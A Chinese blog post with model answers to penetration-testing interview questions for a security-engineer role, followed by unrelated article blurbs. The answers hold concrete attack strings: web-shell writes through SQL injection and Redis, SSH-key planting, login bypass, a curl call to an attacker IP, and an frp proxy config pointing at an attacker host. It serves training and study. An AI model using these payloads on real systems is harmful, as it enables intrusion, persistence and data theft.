2025年渗透测试面试题总结-匿名[校招]高级安全工程师(代码审计安全评估)(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。、
目录
匿名[校招]高级安全工程师(代码审计安全评估)
渗透基础
1. 自我介绍
2. SQL注入写Shell(分数据库)
3. 登录框攻击面
4. GetShell的姿势
5. 文件上传黑名单绕过
6. SQL注入后利用
7. 有趣漏洞案例
8. 蓝凌OA漏洞(示例)
9. DNS重绑定利用
10. PHP vs Java文件包含
11. Redis利用
PHP
1. 常见漏洞函数对照表
2. PHP安全特性
3. 代码审计(MVC/非MVC)
Java
1. 执行命令方式
2. 反序列化原理
3. YSO链示例(CommonsCollections)
4. Shiro反序列化漏洞
5. 反射/代理/类加载
6. 代码审计要点
Python
1. 非脚本工具开发
2. Web框架安全
3. 代码审计重点
漏洞挖掘
1. 漏洞利用研究理解
2. 漏洞利用案例(Fastjson)
内网渗透
1. Disable Function绕过
2. Webshell提权
3. 内网渗透思路
4. 无扫描横向技巧
5. 绕过杀软限制
6. 常用提权姿势
7. 内网代理(Frp)
匿名[校招]高级安全工程师(代码审计安全评估)
#### **渗透基础**1. 自我介绍 2. SQL注入 写 Shell - mysql & mssql & oracle 3. 登录框攻击面 4. getshell的姿势 5. 文件上传点,黑名单限制,如何利用 6. SQL注入后利用 7. 讲一个你觉得有趣的漏洞案例 8. 前段时间蓝凌OA的洞 9. DNS 重绑定,利用 10. Php和Java的文件包含区别 11. Redis的利用#### PHP1. 常见漏洞对应函数(挨个问)- 命令执行- 代码执行- 文件包含- 文件上传- 文件删除- SSRF- ... 2. PHP安全特性有关注吗 3. 代码审计(mvc/非mvc)#### **Java**1. Java执行命令的几种方式 2. Java反序列化的原理 3. 讲讲yso的链 4. Shiro 反序列化原理 5. 反射,代理,类加载这些熟悉吗 6. 代码审计#### Python1. 是否写过非脚本的工具 2. Web框架(flask/django) 3. 代码审计#### **漏洞挖掘(重点关注)**1. 简历上的通用洞挨个问 2. 漏洞利用研究的理解 3. 漏洞利用研究的案例#### **内网(偏实战问题)**1. disable function bypass 2. webshell 提权(低权限 -> 高权限) 3. 已经拿到webshell,说说你的内网思路 4. 不允许扫描,如何横向 5. 存在杀软,不允许exe落地,怎么办 6. 常用的提权姿势 7. 内网代理,详细问了frp
渗透基础
1. 自我介绍
- 核心逻辑:技术背景(渗透测试/红队经验)+ 实战成果 + 研究方向
“专注于渗透测试5年,擅长Web漏洞挖掘与内网渗透,曾发现某金融系统SQL注入链式利用漏洞(从注入到GetShell),主导过多个企业级红队项目。研究方向包括云环境渗透、Java反序列化漏洞自动化检测,熟悉ATT&CK框架实战化落地。”2. SQL注入写Shell(分数据库)
数据库 方法 适用条件 MySQL SELECT '<?php eval($_POST[x]);?>' INTO OUTFILE '/var/www/html/shell.php'
需 FILE
权限,路径可写且已知MSSQL 启用xp_cmdshell:
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC xp_cmdshell 'echo ^<%eval request("x")%^> > C:\shell.asp'
需 sysadmin
权限,禁用防护组件Oracle 使用 UTL_FILE
包写文件:
DECLARE fh UTL_FILE.FILE_TYPE; BEGIN fh := UTL_FILE.FOPEN('WEB_DIR','test.jsp','W'); UTL_FILE.PUT_LINE(fh,'<%execute request("x")%>'); END;
需 UTL_FILE
权限,已知可写目录3. 登录框攻击面
- 爆破攻击:弱密码(admin/admin123)、密码喷洒(单密码多用户)。
- 逻辑漏洞:验证码绕过(前端校验)、密码重置Token劫持(参数篡改)。
- SQL注入:万能密码(
' or 1=1--
)、盲注获取用户凭证。- 2FA绕过:响应包修改
"2fa_enabled":false
。- OAuth/SSO劫持:回调URL参数污染劫持授权码。
4. GetShell的姿势
- 文件上传漏洞:绕过黑名单上传WebShell。
- RCE漏洞:Struts2/Log4j2等框架远程代码执行。
- 反序列化漏洞:Java/PHP反序列化链构造。
- SSRF转内网:攻击Redis/内网Jenkins写Shell。
- 数据库写文件:结合SQL注入写Web目录。
5. 文件上传黑名单绕过
- 扩展名绕过:
.pHp
(大小写)、.php5
(非标准后缀)。- 双写绕过:
shell.pPHPphp
(过滤替换后变为.php
)。- 特殊字符截断:
shell.php%00.jpg
(旧版PHP版本)。- Content-Type修改:
image/png
伪装图片类型。- .htaccess覆盖:上传
.htaccess
文件定义可执行后缀。6. SQL注入后利用
- 数据窃取:拖库(用户表、密钥表)。
- 权限提升:读取数据库配置文件(获取高权限账号)。
- 命令执行:MySQL UDF提权/MSSQL xp_cmdshell。
- 横向移动:通过数据库连接内网其他服务(如Redis)。
7. 有趣漏洞案例
- 案例:某OA系统XML解析漏洞导致RCE。
- 漏洞链:文件上传点限制后缀为
.xml
→ 上传恶意XML触发XXE → 读取服务器文件 → 利用XSLT引擎执行Java代码。- 利用效果:通过XSLT的
document()
函数加载远程Java类,实现无文件WebShell。8. 蓝凌OA漏洞(示例)
- 漏洞类型:未授权访问 + 反序列化(2023年历史漏洞)。
- 利用链:无需登录访问
/sys/zone/LoginSSO.jsp
→ 反序列化参数触发BeanShell
执行命令。- 修复方案:升级至最新版本,限制反序列化类白名单。
9. DNS重绑定利用
- 原理:利用DNS TTL过期机制,将域名解析从外网IP切换到内网IP(如
127.0.0.1
)。- 攻击场景:绕过浏览器同源策略,访问内网服务(如SSRF攻击本地Redis)。
- 工具:使用
rbndr
服务生成动态域名。10. PHP vs Java文件包含
维度 PHP Java 函数 include
/require
(动态加载)ClassLoader
(静态加载)协议支持 支持 php://filter
、data://
等伪协议依赖类路径(ClassPath)或自定义协议处理 漏洞触发点 包含用户可控参数(如 ?file=config.ini
)动态加载远程类(如URLClassLoader) 11. Redis利用
- 未授权访问:直接连接
redis-cli -h 目标IP
。- 写WebShell:
config set dir /var/www/html
→set x "<?php phpinfo();?>"
→save
。- SSH密钥写入:
set x "\n\nssh-rsa AAA...\n\n"
→config set dir /root/.ssh
→config set dbfilename authorized_keys
→save
。- 主从复制RCE:伪造恶意Redis主节点,同步模块触发命令执行。
PHP
1. 常见漏洞函数对照表
漏洞类型 危险函数 命令执行 system()
,exec()
,passthru()
,shell_exec()
代码执行 eval()
,assert()
,preg_replace(/e修饰符)
文件包含 include
,require
,include_once
(结合伪协议)文件上传 move_uploaded_file()
(未校验后缀/内容)文件删除 unlink()
(未校验权限)SSRF file_get_contents()
,curl_exec()
(未限制URL协议)2. PHP安全特性
- 魔术引号(已废弃):自动转义输入(
magic_quotes_gpc
),可通过stripslashes()
绕过。- 禁用函数列表:
disable_functions
需绕过(如LD_PRELOAD加载恶意so)。- open_basedir限制:通过
chdir()
与ini_set()
组合绕过。3. 代码审计(MVC/非MVC)
- 非MVC审计:直接追踪用户输入到危险函数(如
$_GET['id']
传入eval()
)。- MVC框架审计:
- 路由解析:检查路由参数过滤(如
/index.php/user/view/id/123
中的id
注入)。- 过滤器链:验证全局过滤是否遗漏(如未过滤
$_FILES['file']['name']
)。- ORM层:SQL注入检测是否使用预编译(如直接拼接
where
条件)。
Java
1. 执行命令方式
- Runtime.exec :
Runtime.getRuntime().exec("cmd /c whoami")
。- ProcessBuilder:
new ProcessBuilder("bash", "-c", "curl http://攻击者IP").start()
。- GroovyShell:
new GroovyShell().evaluate("'calc'.execute()")
(依赖Groovy库)。2. 反序列化原理
- 触发点:调用
ObjectInputStream.readObject()
反序列化不可信数据。- Gadget链:通过嵌套调用链执行恶意操作(如
AnnotationInvocationHandler
→TransformedMap
→InvokerTransformer
)。3. YSO链示例(CommonsCollections)
- Transformer链构造:
ChainedTransformer
串联多个Transformer。- Map触发点:
LazyMap.get()
触发Transformer.transform()
。- 入口类:
AnnotationInvocationHandler
反序列化时触发Map
操作。4. Shiro反序列化漏洞
- 漏洞根源:Shiro RememberMe功能的AES密钥硬编码。
- 利用步骤:
- 使用已知密钥加密恶意序列化数据。
- 发送Cookie
rememberMe=加密数据
触发反序列化。5. 反射/代理/类加载
- 反射:
Class.forName(" 恶意类").newInstance()
绕过访问限制。- 动态代理:
Proxy.newProxyInstance()
拦截方法调用(如触发RCE)。- 类加载:
URLClassLoader
加载远程Jar执行代码。6. 代码审计要点
- 反序列化入口:搜索
readObject()
/readResolve()
方法。- 危险组件版本:Fastjson/Jackson/XStream等历史漏洞版本。
- SPEL表达式:检查
@Value
注解或StandardEvaluationContext
使用。
Python
1. 非脚本工具开发
- 例子:基于Flask的漏洞扫描平台,集成SQL注入、目录爆破模块。
- 技术栈:异步协程(asyncio)提升扫描效率,Jinja2模板渲染结果。
2. Web框架安全
- Flask SSTI:
{{ config.items() }}
泄露敏感配置(需开启debug模式)。- Django ORM:正确使用参数化查询(
filter(user=request.GET.get('user'))
防注入)。3. 代码审计重点
- 危险函数:
eval()
,pickle.loads()
,subprocess.run()
。- 模板注入:检查
render_template_string(request.args.get('tmpl'))
。
漏洞挖掘
1. 漏洞利用研究理解
- 流程:漏洞发现 → PoC编写 → 武器化(结合C2工具) → 防御绕过(如混淆流量)。
- 核心价值:将理论漏洞转化为实际攻击链(如Log4j2的JNDI注入利用)。
2. 漏洞利用案例(Fastjson)
- 漏洞点:
@type
属性自动加载类(如com.sun.rowset.JdbcRowSetImpl
)。- 利用链:JNDI注入指向恶意LDAP服务,加载远程类执行命令。
内网渗透
1. Disable Function绕过
- LD_PRELOAD:编译恶意so文件,通过
putenv()
设置劫持函数调用。- PHP扩展:自定义扩展覆盖
disable_functions
限制。2. Webshell提权
- 内核漏洞:检测系统版本,使用CVE-2021-4034(Polkit提权)。
- 服务配置:查找SUID文件(
find / -perm -u=s -type f 2>/dev/null
)。3. 内网渗透思路
- 信息收集:获取网卡信息(
ipconfig
)、ARP表、本地凭证。- 横向移动:Pass-the-Hash攻击域控、PsExec执行远程命令。
- 权限维持:Golden Ticket注入、计划任务部署后门。
4. 无扫描横向技巧
- 协议利用:利用SMB匿名访问(
smbclient -L //目标IP
)或RDP弱密码爆破。- 服务漏洞:攻击已知漏洞服务(如永恒之蓝利用MS17-010)。
5. 绕过杀软限制
- 无文件攻击:PowerShell内存加载恶意代码(如Meterpreter)。
- 合法工具滥用:使用certutil下载文件、msiexec执行远程安装包。
6. 常用提权姿势
- 本地漏洞:Windows内核漏洞(如PrintNightmare)。
- 服务权限:MySQL以SYSTEM运行(UDF提权)。
- 令牌窃取:利用Incognito模仿高权限用户令牌。
7. 内网代理(Frp)
- 配置示例:
ini
# frpc.ini [common] server_addr = 攻击者IP server_port = 7000 [socks5] type = tcp remote_port = 1080 plugin = socks5
- 使用:通过
socks5://攻击者IP:1080
代理内网流量。
相关文章:

2025年渗透测试面试题总结-匿名[校招]高级安全工程师(代码审计安全评估)(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。、 目录 匿名[校招]高级安全工程师(代码审计安全评估) 渗透基础 1. 自我介绍 2. SQL注入写Shell(分数…...

Jenkins实践(7):Publish over SSH功能
在 Jenkins 中使用Publish over SSH功能,需要安装对应的插件。以下是详细步骤: 1. 安装 Publish over SSH 插件 进入 Jenkins 管理界面 → Manage Jenkins → Manage Plugins。切换到 Available 选项卡,搜索 "Publish Over SSH"。勾选插件并点击 Install without…...

SQLite 中文写入失败问题总结
SQLite 中文写入失败问题总结与解决方案 在 Windows 下使用 C 操作 SQLite 数据库时,中文字段经常出现 写入成功但内容显示为 BLOB 或 乱码 的问题。根本原因在于 SQLite 要求字符串以 UTF-8 编码 存储,而默认的 std::string 中文通常是 GB2312/ANSI 编…...
JavaScript篇:闭包:JavaScript中的魔法口袋,装下你的编程智慧
大家好,我是江城开朗的豌豆,一名拥有6年以上前端开发经验的工程师。我精通HTML、CSS、JavaScript等基础前端技术,并深入掌握Vue、React、Uniapp、Flutter等主流框架,能够高效解决各类前端开发问题。在我的技术栈中,除了…...

ubuntu系统安装Pyside6报错解决
目录 1,问题: 2,解决方法: 2.1 首先查看pypi是否有你需要包的镜像: 2.2 其它方案: 2.3 如果下载很慢,可以换源: 2.4 查看系统架构 Windows Ubuntu 1,问题…...
DeepSeek 赋能智能零售:从数据洞察到商业革新
目录 一、智能零售的现状与挑战二、DeepSeek 技术特点剖析2.1 基于 Transformer 架构的深度优化2.2 多源数据的深度分析能力2.3 强大的学习与推理能力 三、DeepSeek 在智能零售中的应用场景3.1 精准需求预测3.2 智能补货决策3.3 库存优化布局3.4 个性化推荐与营销3.5 智能客服与…...

榕壹云医疗服务系统:基于ThinkPHP+MySQL+UniApp的多门店医疗预约小程序解决方案
在数字化浪潮下,传统医疗服务行业正面临效率提升与客户体验优化的双重挑战。针对口腔、美容、诊所、中医馆、专科医院及康复护理等需要预约或诊断服务的行业,我们开发了一款基于ThinkPHP+MySQL+UniApp的多门店服务预约小程序——榕壹云医疗服务系统。该系统通过模块化设计与开…...

苏州SAP代理公司排名:工业园区企业推荐的服务商
目录 一、SAP实施商选择标准体系 1、行业经验维度 2、实施方法论维度 3、资质认证维度 4、团队实力维度 二、SAP苏州实施商工博科技 1、SAP双重认证,高等院校支持 2、以SAP ERP为核心,助力企业数字化转型 三、苏州使用SAP的企业 苏州是中国工业…...

数据结构中无向图的邻接矩阵详解
在计算机科学的浩瀚宇宙中,数据结构无疑是那把开启高效编程大门的关键钥匙。对于计算机专业的大学生们来说,数据结构课程是专业学习路上的一座重要里程碑,而其中的图结构更是充满魅力与挑战,像一幅神秘的画卷等待我们去展开。今天…...

.NET 7 AOT 使用及 .NET 与 Go 语言互操作详解
.NET 7 AOT 使用及 .NET 与 Go 语言互操作详解 目录 .NET 7 AOT 使用及 .NET 与 Go 语言互操作详解 一、背景与技术概述 1.1 AOT 编译技术简介 1.2 Go 语言与 .NET 的互补性 二、.NET 7 AOT 编译实践 2.1 环境准备 2.2 创建 AOT 项目 2.3 AOT 编译流程 2.4 调试信息处…...

OpenCV 第7课 图像处理之平滑(一)
1. 图像噪声 在采集、处理和传输过程中,数字图像可能会受到不同噪声的干扰,从而导致图像质量降低、图像变得模糊、图像特征被淹没,而图像平滑处理就是通过除去噪声来达到图像增强的目的。常见的图像噪声有椒盐噪声、高斯噪声等。 1.1 椒盐噪声 椒盐噪声(Salt-and-pepper N…...

React 编译器
🤖 作者简介:水煮白菜王,一位前端劝退师 👻 👀 文章专栏: 前端专栏 ,记录一下平时在博客写作中,总结出的一些开发技巧和知识归纳总结✍。 感谢支持💕💕&#…...

HCIP:MPLS静态LSP的配置及抓包
目录 一、MPLS的简单的一些知识点 1.MPLS的概述: 2.MPLS工作原理: 3.MPLS的核心组件: 4. MPLS标签 5.MPLS标签的处理 6.MPLS转发的概述: 7.MPLS的静态LSP建立方式 二、MPLS的静态LSP的实验配置 1.配置接口的地址和配置OS…...

VASP 教程:VASP 结合 Phonopy 计算硅的比热容
VASP 全称为 Vienna Ab initio Simulation Package(The VASP Manual - VASP Wiki)是一个计算机程序,用于从第一性原理进行原子尺度材料建模,例如电子结构计算和量子力学分子动力学。 Phonopy(Welcome to phonopy — Ph…...
YOLO使用SAHI进行小目标检测
目录 一、环境配置二、使用ultralytics的YOLO模型进行训练和推理三、推理可视化的两种方法四、使用SAHI和ultralytics 训练的YOLO模型进行推理一、环境配置 下面是环境的配置过程,根据代码复杂度可以额外安装其他包。 #创建虚拟环境 conda create -n 环境名 python=3.9 #开启…...

[论文阅读]Prompt Injection attack against LLM-integrated Applications
Prompt Injection attack against LLM-integrated Applications [2306.05499] Prompt Injection attack against LLM-integrated Applications 传统提示注入攻击效果差,主要原因在于: 不同的应用对待用户的输入内容不同,有的将其视为问题&a…...
【SpringCache 提供的一套基于注解的缓存抽象机制】
Spring 缓存(Spring Cache)是 Spring 提供的一套基于注解的缓存抽象机制,常用于提升系统性能、减少重复查询数据库或接口调用。 ✅ 一、基本原理 Spring Cache 通过对方法的返回结果进行缓存,后续相同参数的调用将直接从缓存中读…...

DALI DT6与DALI DT8介绍
“DT”全称Device Type,是DALI-2 标准协议中的IEC 62386-102(即为Part 102)部分对不同类型的控制设备进行一个区分。不同的Device Type代表不同特性的控制设备,也代表了这种控制设备拥有的扩展的特性。 在DALI(数字可寻址照明接口)…...

day13 leetcode-hot100-24(链表3)
234. 回文链表 - 力扣(LeetCode) 1.转化法 思路 将链表转化为列表进行比较 复习到的知识 arraylist的长度函数:list.size() 具体代码 /*** Definition for singly-linked list.* public class ListNode {* int val;* ListNode ne…...
Python实战:打造高效通讯录管理系统
📋 编程基础第一期《8-30》–通讯录管理系统 📑 项目介绍 在信息化时代,高效管理个人或团队联系人信息变得尤为重要。本文将带您实现一个基于Python的通讯录管理系统,该系统采用字典数据结构和JSON文件存储,实现了联系…...

图解深度学习 - 基于梯度的优化(梯度下降)
在模型优化过程中,我们曾尝试通过手动调整单个标量系数来观察其对损失值的影响。具体来说,当初始系数为0.3时,损失值为0.5。随后,我们尝试增加系数至0.35,发现损失值上升至0.6;相反,当系数减小至…...

MySql--定义表存储引擎、字符集和排序规则
示例: CREATE TABLE users (id INT PRIMARY KEY,name VARCHAR(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci,email VARCHAR(100) ) ENGINEInnoDB DEFAULT CHARSETutf8mb4 COLLATEutf8mb4_0900_ai_ci;注意事项: 字符集和排序规则可以按列覆盖表…...
【部署】在离线服务器的docker容器下升级dify-import程序
回到目录 在离线服务器的docker容器下升级dify-import程序 dify 0.1.0-release 变化很大,重构整个项目代码并且增加制度类txt文件知识库父子分段支持,详见 读取制度类txt文件导入dify的父子分段知识库(20250526发布). 。下面是kylin Linux环境下&#…...

优化版本,增加3D 视觉 查看前面的记录
上图先 运来的超出发表上限,重新发。。。 #11:06:57Current_POS_is: X:77Y:471Z:0U:-2 C:\Log\V55.txt import time import tkinter as tk from tkinter import messagebox from PIL import Image, ImageTk import socket import threading from date…...
写作-- 复合句练习
文章目录 练习 11. 家庭的支持和老师的指导对学生的学术成功有积极影响。2. 缺乏准备和未能适应通常会导致在挑战性情境中的糟糕表现。3. 吃垃圾食品和忽视锻炼可能导致严重的健康问题,因此人们应注重保持均衡的生活方式。4. 昨天的大雨导致街道洪水泛滥,因此居民们迁往高地以…...

WWW22-可解释推荐|用于推荐的神经符号描述性规则学习
论文来源:WWW 2022 论文链接:https://web.archive.org/web/20220504023001id_/https://dl.acm.org/doi/pdf/10.1145/3485447.3512042 最近读到一篇神经符号集成的论文24年底TOIS的,神经符号集成是人工智能领域中,将符号推理与深…...

Linux:shell脚本常用命令
一、设置主机名称 1、查看主机名称 2、用文件的方式更改主机名称 重启后: 3、 通过命令修改主机名 重启后: 二、网络管理命令 1、查看网卡 2、设置网卡 (1)网卡未被设置过时 (2)当网卡被设定,…...
专业课复习笔记 11
从今天开始每天下午复习专业课。慢慢复习专业课。目标至少考一个一百分吧。毕竟专业课还是比较难的。要是考不到一百分,我感觉自己就废掉了呢。下面稍微复习一下计组。 复习指令格式和数据通路设计。完全看不懂,真是可恶啊。计组感觉就是死记硬背&#…...

OpenTelemetry × Elastic Observability 系列(一):整体架构介绍
本文是 OpenTelemetry Elastic Observability 系列的第一篇,将介绍 OpenTelemetry Demo 的整体架构,以及如何集成 Elastic 来采集和可视化可观测性数据。后续文章将分别针对不同编程语言,深入讲解 OpenTelemetry 的集成实践。 程序架构 Op…...

STM32高级物联网通信之以太网通讯
目录 以太网通讯基础知识 什么是以太网 互联网和以太网的区别 1)概念与范围 (1)互联网 (2)以太网 2)技术特点 (1)互联网 (2)以太网 3)应…...